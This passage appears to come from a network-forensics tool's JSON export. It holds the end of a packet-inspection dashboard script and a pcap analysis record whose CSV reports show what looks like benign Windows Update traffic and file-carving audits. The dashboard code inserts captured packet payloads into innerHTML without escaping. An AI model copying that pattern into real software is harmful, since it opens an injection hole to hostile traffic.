class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a5c9593b3bed57e0e7378bc"},"sha256":"e7030756a6f7f4544a8496221b89883f473043e213f4145b07bfb55612cb0615","timestamp":{"$date":"2026-07-19T14:44:59.514Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n85.208.10.201,85.208.10.201,HTTP Host,0/70,Neutral,No,External\nhttp://85.208.10.201,85.208.10.201,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_n_5n76ti.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 151.101.206.172:80 -> 10.152.152.11:64097 [A] #1\nHTTP/1.1 206 Partial Content.\nConnection: keep-alive.\nContent-Length: 65536.\nContent-Type: application/octet-stream.\nCache-Control: public, max-age=17280000.\nMS-CorrelationId: 453ab986-f2b9-42cc-8878-7be81624d38c.\nMS-RequestId: d861e870-cb75-4056-88c0-dbf28daab0c5.\nMS-CV: E8aTPtIiGEKiYuM3.0.2.1.0.0.10.1.1.2.1.1.1.0.\nContent-Disposition: attachment; filename=Microsoft.DesktopAppInstaller_2026.623.1704.0_neutral_~_8wekyb3d8bbwe.Msixbundle.\nLast-Modified: Tue, 23 Jun 2026 20:15:05 GMT.\nETag: \"\"cKbuDU358b7jWNtHK0U4lT9A0ys=\"\".\nAccept-Ranges: bytes.\nDate: Sun, 19 Jul 2026 08:56:13 GMT.\nVia: 1.1 varnish.\nAge: 1588131.\nX-Served-By: cache-rtm-ehrd2290038-RTM.\nX-Cache: HIT.\nX-Cache-Hits: 2042.\nX-Timer: S1784451374.565154,VS0,VE0.\nX-CID: 3.\nX-CCC: NL.\nContent-Range: bytes 77463552-77529087/216779158.\n.\n......}......F.>.cXH....?...!(_^?RH).+..X...t./.........y.....~._........}.T^..'..(..R....9..r..d-1h..WB}X...{....i<y...E.........8.}.Oe..n.V....SVi...y..Q..L.J>.........fh`........gY0..\"\"....4.F.o[ZE.{7.z...qk...C..P...z..#...MW[]..t..]Dk.d^.....n.j.d;k....l}.O............< =..7]Nl.+.\nQ..9....Wa...$.K.\"\".....\n.<..Vj......8..o...66.H....t..U?.... .%..&......!0{.l.W.r%'l.j........u.q.....Y}......\"\"......{...B.}..V..WC.?Ib.i\"\"V..7.....I9?.D..l....*....$7...l.H^o.R.V.h.A$.|......M.M.a.1..T2s.=...R.k..7.+...@..2....!..._]........^........!Q!?g...&1=...9.r....>.m...\n.H*.x.Fp...J...4..sxu`.s*/....d.....+...s/...........K..\"\"7@.O..:qU<.RN.SRo.E.............e..b.,\n#####\nT 10.152.152.11:64008 -> 85.208.10.201:80 [AP] #6\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 85.208.10.201.\n.\"\n0.0,NGrep,##,\"Payload: T 85.208.10.201:80 -> 10.152.152.11:64008 [AP] #8\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 19 Jul 2026 09:00:34 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 7.\nX-Served-By: cache-par-lfpg1960094-PAR.\nX-Cache: HIT.\nX-Cache-Hits: 1.\nX-Timer: S1760461220.658624,VS0,VE1.\nX-CID: 10006.\nX-CCC: ef33ad42-f226-42a8-871f-abbcb911a130.\nContent-Security-Policy: default-src 'self' http: https: data: b\n#\nT 85.208.10.201:80 -> 10.152.152.11:64008 [AP] #9\nlob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxax\n##\nT 85.208.10.201:80 -> 10.152.152.11:64008 [AP] #11\nrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHM\n##\nT 85.208.10.201:80 -> 10.152.152.11:64008 [AP] #13\ncmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n##\nT 96.16.53.133:443 -> 10.152.152.11:63963 [A] #15\nh.x.j..v.D..h.....B.8.^....2..l0T.....c#..]....n.....f...+..[..v.m..[..LG%o..v.7/.. .5...;..tEt.o.....-Hh.&n....p.9..s){...`5.....G..W..?..j..M..w..Tg....{...t.....I.(<....:..*...........y.1>Q.C....Y..:.l..Y.m\n.z..-zD.....q.J.m....~.{e./.p.yg.'t...1y.BP\\.\"\"....s;.n......[K..I@....o..YH\\.a.....y}..7,...J.l.|!VP-.R.7..^..D.T.G3uC.*TGg!..Ap......h..].....53h.\\.@...u55..G...`]..Or..TV..9.w...\"\"{.2..p..\\..S..nO\n.U.SM.r..B........`.....e..1...P..7~/-f!n...|..E...^.%..{ts...D....3q....).....w...*iM.{...,...5..}.............lL$o:`l.yG..f.............n.....n....(..1.M.bo.6.f...W.<...Q.\"\"...9..1O...$..<..OT_.&..!~.g.C..lW.9.j=..x..\"\"...W.S...'.YU.AZ.........4.1.<...]`.n.1X.......WT...A........@.!*.<.\nOO........\n...:..-...].q...R...\\....*..3.|d5.7,....w...1.G.p...B.[..'.<^G6zY.....Rz..x.....im^...z...{-.D.........3%..(s..m..b...W....E.h\\TrK0...yz....v.....d..........d4.k........e`.\"\"E..F.....pl.!.%%`7\nv.....x...mDy........#?.....J.<'..b...!A\"\".T.<.yU....P5...e%k..#q.....*..S....}............\"\"......\"\"N.=.HjB&.._\"\".........KoQ.....+.E...E.vZ..@....-kT.E...?.x....nu.*...10.n...W`#...h.AX..Y.S8...]Y.I...F...T7.E....M..Ak......R...9\nx*.....S.....Vx....j.._..<..q..X.....C..V.\\'.m..I..`.....@....F5..A...P.z.8Jd..U.y..n.k.L5e.h..y.^..].\n...^xf...'H...........!..dKY....]o.b..,=..*^O'+...e.....dve5.........W<.H$.3.~t..:.'.{......._.L......ad.ke..=.J.c..x.n.R......O.Z.....n..D.(y....o{.n..=.....;}nm.......!......b...A.c...OZ..<+..c..?G....\"\"z.d...!\n.$Dr3.(..b#2...4D.\n######\nT 23.207.106.113:443 -> 10.152.152.11:64035 [AP] #21\n...... .F.{4~L..4>.U.h(..E.....\n####\nT 96.16.53.163:443 -> 10.152.152.11:64039 [AP] #25\n.......`...\n...:.TV.zS.....$qv0\n###exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpjtjkiw9_/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpjtjkiw9_/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-19T14:44:57.010131,Tool:tmpjtjkiw9_/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpjtjkiw9_/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-19T14:44:57.014131,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpjtjkiw9_/carved/scalpel/audit.txt,539,9e6572dbbd18200bf8b790fc526fba88,c06ee0f1a3f31c87a1a89f8458c30b8536b0fb7d9b11b5d0deef894312d3129f,5.03,\"Scalpel version 1.60 audit file, Started at Sun Jul 19 14:44:57 2026, Command line:, scalpel -c /tmp/tmpjtjkiw9_/carved/scalpel.conf /tmp/filtered_n_5n76ti.pcap -o /tmp/tmpjtjkiw9_/carved/scalpel , Output directory: /tmp/tmpjtjkiw9_/carved/scalpel, Configuration file: /tmp/tmpjtjkiw9_/carved/scalpel.conf, Opening target , /tmp/filtered_n_5n76ti.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000000.mp3         8014, YES               0, filtered_n_5n76ti.pcap, Completed at Sun Jul 19 14:44:57 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6e 5f 35 6e 37 36 74 69 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6e 5f 35 6e 37 36 74 69 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 30 2e 6d 70 33 20 20 20 20 20 20 20 20 20 38 30 31 34 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6e 5f 35 6e 37 36 74 69 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a\n2026-07-19T14:44:57.008132,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpjtjkiw9_/carved/foremost/audit.txt,700,f2dad5fc794531514b629ba91f2b5019,825095071bb65a554b54c905757a7bae89077eb97f7ac56c16e38889735d19f3,4.90,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jul 19 14:44:57 2026, Invocation: foremost -t all -i /tmp/filtered_n_5n76ti.pcap -o /tmp/tmpjtjkiw9_/carved/foremost , Output directory: /tmp/tmpjtjkiw9_/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_n_5n76ti.pcap, Start: Sun Jul 19 14:44:57 2026, Length: 10 KB (10412 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jul 19 14:44:57 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jul 19 14:44:57 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 